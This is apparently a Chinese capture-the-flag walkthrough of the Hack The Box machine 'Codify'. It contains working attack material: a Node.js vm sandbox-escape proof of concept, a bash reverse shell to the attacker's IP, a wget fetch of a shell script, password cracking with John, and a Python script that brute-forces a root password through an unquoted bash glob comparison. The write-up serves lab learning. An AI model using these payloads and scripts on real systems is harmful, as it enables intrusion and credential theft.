信息搜集

1
2
3
4
5
sudo nmap -p- -sT --min-rate  3000 10.10.11.239

22/tcp open ssh
80/tcp open http
3000/tcp open ppp

访问10.10.11.239 codify.htb添加到hosts,发现80端口和3000端口访问页面一样的,还有一个editor路由;

根据index.html,不难看出应该是nodejs的沙箱逃逸

1
2
3
4
5
6
7
8
9
10
11
12
Test your Node.js code easily.

This website allows you to test your Node.js code in a sandbox environment. Enter your code in the editor and see the output in real-time.
Try it now

Codify is a simple web application that allows you to test your Node.js code easily. With Codify, you can write and run your code snippets in the browser without the need for any setup or installation.

Whether you're a developer, a student, or just someone who wants to experiment with Node.js, Codify makes it easy for you to write and test your code without any hassle.

Codify uses sandboxing technology to run your code. This means that your code is executed in a safe and secure environment, without any access to the underlying system. Therefore this has some limitations. We try our best to reduce these so that we can give you a better experience.

So why wait? Start using Codify today and start writing and testing your Node.js code with ease!

访问editor路由;存在运行nodejs代码的功能,猜测存在沙箱逃逸

沙箱逃逸

在网上能找到相关poc,但是直接用反弹shell命令一直报错,换一种方式;

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/桌面/Codify]
└─$ cat shell
/bin/bash -i >& /dev/tcp/10.10.14.63/5555 0>&1

┌──(kali㉿kali)-[~/桌面/Codify]
└─$ python3 -m http.server

nodejs沙箱逃逸这块确实不太懂,以后应该会出一篇博客;poc参考这篇博客clink me

1
2
3
4
5
6
7
8
9
const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('wget 10.10.14.63:8000/shell').toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
1
2
3
4
5
6
7
8
9
const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync("/bin/bash -i shell").toString()
`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

连接到webshell之后,在/var/ww/concat下发现一个db文件,尝试从中得到敏感信息

1
2
3
4
5
6
7
8
svc@codify:/var/www/contact$ pwd
/var/www/contact
svc@codify:/var/www/contact$ ls
index.js
package.json
package-lock.json
templates
tickets.db

tickets.db数据库中也是成功发现一个账号密码

john爆破密码,在尝试ssh连接。是可以成功连接的

1
2
john hash --wordlist=/usr/share/wordlists/rockyou.txt
spongebob1

提权

1
2
3
4
5
6
7
8
joshua@codify:~$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh

查看/opt/scripts/mysql-backup.sh文件,似乎是一个备份数据库的sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

重点在这,判断输入的密码是否于root密码相同;==判断没有加引号,所以这里并不是字符串比较,这里允许通配符‘* 的存在的,这里的弱比较‘ == ’可以由此绕过,

1
2
3
4
5
6
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi

直接用python脚本跑出root的密码,这个脚本也是比较容易理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import subprocess
import string
def run_command(command):
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.decode()
return output

dic=string.ascii_letters+string.digits
password=""
for i in range(100):
for i in dic:
output= run_command(f'echo "{password}{i}*" | sudo /opt/scripts/mysql-backup.sh')
if "Password confirmed" in output:
password+=i
print(password)
break

总结

信息搜集到80.3000端口开放,且功能一样;editor路由下存在沙箱逃逸可以实现任意命令执行,反弹shell,得到svc用户,继续搜集在/var/ww/concat/tickets.db文件中可以得到用户名为joshua,用john爆破密码,用ssh连接;发现有(root) /opt/scripts/mysql-backup.sh是一个备份数据库的sh文件,其中存在==判断没加引号,允许通配符‘* 的存在的;写python脚本得到root密码